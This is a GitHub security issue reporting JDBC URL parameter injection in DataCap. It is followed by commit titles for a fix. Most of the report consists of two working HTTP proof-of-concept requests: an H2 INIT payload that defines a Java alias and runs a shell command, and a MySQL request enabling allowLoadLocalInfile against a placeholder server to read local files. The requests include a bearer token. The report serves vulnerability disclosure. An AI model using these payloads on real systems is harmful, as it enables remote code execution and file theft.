Repository navigation
[Secuirty] JDBC URL vulnerability in the latest version of DataCap #966
Description
The current code logic does not perform any checks on the JDBC URL; it constructs the complete JDBC URL by directly concatenating each part of the URL. Therefore, an attacker can effectively control the entire JDBC URL by injecting specific parameters. Thus, an attacker can launch an attack by injecting malicious JDBC parameters. Here are two examples.
h2 jdbc RCE
H2 JDBC allows code execution via the init parameter; therefore, an attacker could exploit the H2 JDBC URL to implement Remote Code Execution (RCE) within the current project.
POST /api/v2/source/test HTTP/1.1
Host: localhost:9096
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc4NzA2MDk5OCwiZXhwIjoxNzg3MTQ3Mzk4fQ.n5nueHJjjwUbAWqrmcOwJOkyvol2Lo-jgbkukp4BDSONr87FE7ReA_yqGMUD4P7qtktS3Gs4kzn5JJJbgJLF0A
Content-Type: application/json
Content-Length: 642
{
"name": "H2",
"type": "H2",
"configure": {
"configures": [
{"field": "name", "type": "String", "value": "H2"},
{"field": "host", "type": "String", "value": "-"},
{"field": "port", "type": "Number", "value": 1},
{"field": "username", "type": "String", "value": "sa"},
{"field": "password", "type": "String", "value": ""},
{"field": "database", "type": "String", "value": "testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/hackedByFushuling')\\;"}
]
}
}
MySQL JDBC arbitrary file read
Another attack method involves exploiting MySQL. The allowLoadLocalInfile parameter in MySQL JDBC allows arbitrary file reading.
POST /api/v2/source/test HTTP/1.1
Host: localhost:9096
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc4NzA2MDk5OCwiZXhwIjoxNzg3MTQ3Mzk4fQ.n5nueHJjjwUbAWqrmcOwJOkyvol2Lo-jgbkukp4BDSONr87FE7ReA_yqGMUD4P7qtktS3Gs4kzn5JJJbgJLF0A
Content-Type: application/json
Content-Length: 678
{
"name": "MySQL",
"type": "MySQL",
"configure": {
"configures": [
{"field": "name", "type": "String", "value": "MySQL"},
{"field": "host", "type": "String", "value": "xxxx"},
{"field": "port", "type": "Number", "value": 3307},
{"field": "username", "type": "String", "value": "root"},
{"field": "password", "type": "String", "value": "12345678"},
{"field": "ssl", "type": "Boolean", "value": false},
{"field": "database", "type": "String", "value": "datacap"},
{"field": "configures", "type": "Array", "value": [
{"field": "allowLoadLocalInfile", "value": "true"}
]}
]
}
}
Activity
qianmoQ commentedon Sep 3, 2026
Message that will be displayed on users' first issue
fix(spi): guard JDBC url construction against parameter injection
test(spi): cover url guard integration and metadata fallback wiring